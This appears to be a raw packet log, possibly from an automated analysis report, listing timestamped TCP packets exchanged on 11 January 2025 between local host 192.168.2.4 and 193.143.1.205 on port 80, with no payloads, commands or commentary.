Jan 11, 2025 03:14:39.172954082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.173027992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.173042059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.173054934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.195955038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.196017027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.225291014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.225338936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.225359917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.225379944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.225395918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.225413084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.225465059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.225513935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.225529909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.225559950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.259949923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.259973049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.259995937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.260000944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.260019064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.260035992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.260055065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.260090113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.289324045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289370060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289407015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289423943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.289469957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289504051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289511919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.289599895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289640903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.289654970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289684057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289716959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289722919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.289783001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289827108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.289865017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289897919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.289940119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.289989948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290021896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290065050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.290272951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290328026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290359974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290369987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.290441990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290474892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290486097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.290745020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290779114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290791035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.290812016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290853024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.290890932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290924072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290956974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.290966034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.290991068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291029930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.291335106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291385889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291419983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291435957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.291528940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291562080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291584969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.291594982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291630983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291656971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.291800976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291836023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291846991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.291904926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.291944981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.292274952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292345047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292377949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292404890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.292521000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292553902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292570114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.292587996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292622089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292634010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.292793989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292826891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292836905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.292860985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.292897940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.293256998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293309927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293342113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293354988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.293456078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293489933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293499947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.293523073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293555975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293571949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.293718100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293751955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293777943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.293800116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.293849945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.294239998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.294272900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.294307947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.294316053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.294483900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.294517040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.294528008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.294549942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.294581890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.294591904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.294617891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.294661045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.297465086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.317878962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.317929029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.317975998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.317985058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318022966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318057060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318073988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.318092108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318125010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318133116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.318177938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318212032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318226099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.318262100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318294048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318321943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.318329096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.318380117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.347347021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352327108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352360010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352370977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.352375984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352415085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.352432966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352449894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352484941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.352574110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352590084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352623940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.352708101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352724075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352741003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.352758884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.375349998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.381834984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.381874084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.381886959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.381889105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.381917000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.382055044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382071018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382085085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382093906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382141113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.382205009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382261038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382276058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382289886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.382291079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382333040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.382421017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382435083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382450104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382463932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382471085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.382508993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.382658958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382673025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.382710934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.390944004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.411710024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.411782980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.411834002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.411837101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.411873102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.411907911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.411917925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.411941051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.411993980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412002087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412029028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412062883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412066936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412096024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412146091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412147045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412178993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412214994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412219048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412323952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412357092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412364960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412390947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412432909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412476063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412508965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412542105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412553072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412681103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412713051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412728071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412746906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412796021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.412811041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412859917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412894964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.412909031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.413136005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413168907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413192987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.413202047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413234949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413240910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.413268089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413300991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413307905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.413335085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413372040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.413528919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413563013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413600922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.413613081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413646936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413686037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.413762093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413794994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413827896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413832903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.413878918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413914919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.413923025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.414176941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414218903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.414227009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414261103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414293051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414299011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.414325953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414359093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414370060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.414391994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414423943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414431095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.414457083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414489985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414498091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.414817095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414850950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414861917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.414901018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414933920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414942026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.414967060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.414999962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415007114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.415034056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415066004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415072918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.415100098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415132046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415147066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.415167093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415205956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.415404081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.415544033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415595055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415628910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415633917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.415662050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415693998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415700912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.415728092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.415765047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.416008949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416040897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416074038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416083097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.416106939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416138887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416143894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.416171074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416204929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416209936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.416462898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416496038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416507006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.416528940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416563034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.416570902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.439961910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.440030098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.440041065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.440066099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.440099001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.440133095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.440167904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.440200090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.440231085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.440233946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.440233946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.440264940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.444812059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.444842100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.444869041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.444891930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.444926023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.444935083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.444958925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.444992065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445017099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.445025921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445070028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.445091963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445123911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445156097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445161104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.445275068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445316076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.445322037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445354939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445395947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.445404053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445444107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445472002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.445481062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:14:39.475740910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.475770950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:14:39.475797892 CET	49730	80	192.168.2.4	193.143.1.205
